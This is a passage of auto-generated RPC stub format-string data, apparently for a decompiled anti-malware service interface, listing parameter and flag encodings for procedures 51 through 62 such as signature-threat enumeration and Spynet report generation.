NdrFcShort( 0x32 ), /* 50 */ +/* 2860 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2862 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 2864 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2866 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 2868 */ NdrFcShort( 0x40 ), /* 64 */ +/* 2870 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2872 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2874 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2876 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2878 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2880 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2882 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2884 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2886 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2888 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2890 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 2892 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2894 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_3 */ + +/* 2896 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2898 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2900 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2902 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2904 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2906 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc51_ServerMpRpcElevateCleanHandle */ + +/* 2908 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2910 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2914 */ NdrFcShort( 0x33 ), /* 51 */ +/* 2916 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2918 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 2920 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2922 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 2924 */ NdrFcShort( 0x48 ), /* 72 */ +/* 2926 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2928 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2930 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2932 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2934 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2936 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2938 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 2940 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 2942 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2944 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 2946 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 2948 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2950 */ NdrFcShort( 0x606 ), /* Type Offset=1542 */ + + /* Parameter arg_2 */ + +/* 2952 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2954 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2956 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2958 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2960 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2962 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc52_ServerMpRpcSignatureThreatOpen */ + +/* 2964 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 2966 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2970 */ NdrFcShort( 0x34 ), /* 52 */ +/* 2972 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2974 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2976 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2978 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 2980 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2982 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2984 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2986 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2988 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2990 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2992 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2994 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2996 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2998 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3000 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3002 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 3004 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3006 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_4 */ + +/* 3008 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3010 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3012 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3014 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3016 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3018 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc53_ServerMpRpcSignatureThreatEnum */ + +/* 3020 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3022 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3026 */ NdrFcShort( 0x35 ), /* 53 */ +/* 3028 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3030 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3032 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3034 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3036 */ NdrFcShort( 0x2c ), /* 44 */ +/* 3038 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3040 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3042 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3044 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3046 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3048 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3050 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3052 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3054 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3056 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3058 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3060 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3062 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3064 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3066 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3068 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_3 */ + +/* 3070 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3072 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3074 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3076 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3078 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3080 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc54_ServerMpRpcSignatureThreatClose */ + +/* 3082 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3084 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3088 */ NdrFcShort( 0x36 ), /* 54 */ +/* 3090 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3092 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 3094 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3096 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3098 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3100 */ NdrFcShort( 0x5c ), /* 92 */ +/* 3102 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 3104 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3106 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3110 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3112 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3114 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 3116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3118 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 3120 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3122 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3124 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3126 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3128 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3130 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc55_ServerMpRpcGetSampleInfo */ + +/* 3132 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3134 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3138 */ NdrFcShort( 0x37 ), /* 55 */ +/* 3140 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3142 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 3144 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3146 */ NdrFcShort( 0x4c ), /* 76 */ +/* 3148 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3150 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3152 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3154 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3156 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3158 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3160 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3162 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3164 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3166 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3168 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 3170 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3172 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 3174 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3176 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3178 */ NdrFcShort( 0x60a ), /* Type Offset=1546 */ + + /* Parameter arg_4 */ + +/* 3180 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3182 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3184 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3186 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3188 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3190 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc56_ServerMpRpcQueryScansWithSamples */ + +/* 3192 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3194 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3198 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3200 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3202 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 3204 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3206 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3208 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3210 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3212 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3214 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3216 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3218 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3220 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3222 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3224 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3226 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3228 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3230 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3232 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3234 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3236 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3238 */ NdrFcShort( 0x65c ), /* Type Offset=1628 */ + + /* Parameter arg_4 */ + +/* 3240 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3242 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3244 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3246 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3248 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3250 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc57_ServerMpRpcDropScansWithSamples */ + +/* 3252 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3254 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3258 */ NdrFcShort( 0x39 ), /* 57 */ +/* 3260 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3262 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 3264 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3266 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3268 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3270 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3272 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 3274 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3276 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3278 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3280 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3282 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3284 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3286 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3288 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3290 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3292 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3294 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 3296 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3298 */ NdrFcShort( 0x67e ), /* Type Offset=1662 */ + + /* Parameter arg_4 */ + +/* 3300 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3302 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3304 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3306 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3308 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3310 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc58_ServerMpRpcSpynetQueueCreate */ + +/* 3312 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 3314 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3318 */ NdrFcShort( 0x3a ), /* 58 */ +/* 3320 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3322 */ NdrFcShort( 0x4c ), /* 76 */ +/* 3324 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 3326 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 3328 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3330 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3332 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3334 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3336 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3338 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 3340 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3342 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 3344 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3346 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3348 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3350 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 3352 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3354 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_4 */ + +/* 3356 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 3358 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3360 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_5 */ + +/* 3362 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3364 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3366 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3368 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3370 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3372 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc59_ServerMpRpcSpynetQueueQueryNotification */ + +/* 3374 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3376 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3380 */ NdrFcShort( 0x3b ), /* 59 */ +/* 3382 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3384 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3386 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3388 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3390 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3392 */ NdrFcShort( 0x78 ), /* 120 */ +/* 3394 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 3396 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3398 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3400 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3402 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3404 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3406 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3408 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3410 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3412 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 3414 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3416 */ NdrFcShort( 0x402 ), /* Type Offset=1026 */ + + /* Parameter arg_2 */ + +/* 3418 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3420 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3422 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3424 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3426 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3428 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3430 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3432 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3434 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc60_ServerMpRpcSpynetQueueClose */ + +/* 3436 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3438 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3442 */ NdrFcShort( 0x3c ), /* 60 */ +/* 3444 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3446 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 3448 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3450 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3452 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3454 */ NdrFcShort( 0x5c ), /* 92 */ +/* 3456 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 3458 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3460 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3462 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3464 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3466 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3468 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 3470 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3472 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 3474 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3476 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3478 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3480 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3482 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3484 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc61_ServerMpRpcSpynetGenerateReport */ + +/* 3486 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3488 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3492 */ NdrFcShort( 0x3d ), /* 61 */ +/* 3494 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 3496 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3498 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3500 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3502 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3504 */ NdrFcShort( 0xc8 ), /* 200 */ +/* 3506 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x8, /* 8 */ +/* 3508 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3510 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3512 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3514 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3516 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3518 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3520 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3522 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3524 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3526 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3528 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3530 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3532 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3534 */ NdrFcShort( 0x694 ), /* Type Offset=1684 */ + + /* Parameter arg_3 */ + +/* 3536 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3538 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3540 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 3542 */ NdrFcShort( 0x2112 ), /* Flags: must free, out, simple ref, srv alloc size=8 */ +/* 3544 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3546 */ NdrFcShort( 0x6e ), /* Type Offset=110 */ + + /* Parameter arg_5 */ + +/* 3548 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 3550 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3552 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_6 */ + +/* 3554 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3556 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3558 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3560 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3562 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 3564 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc62_ServerMpRpcSenseGenerateReport */ + +/* 3566 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3568 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3572 */ NdrFcShort( 0x3e ), /* 62 */ +/* 3574 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3576 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3578 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3580 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3582 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3584 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3586 */ 0x45, /* 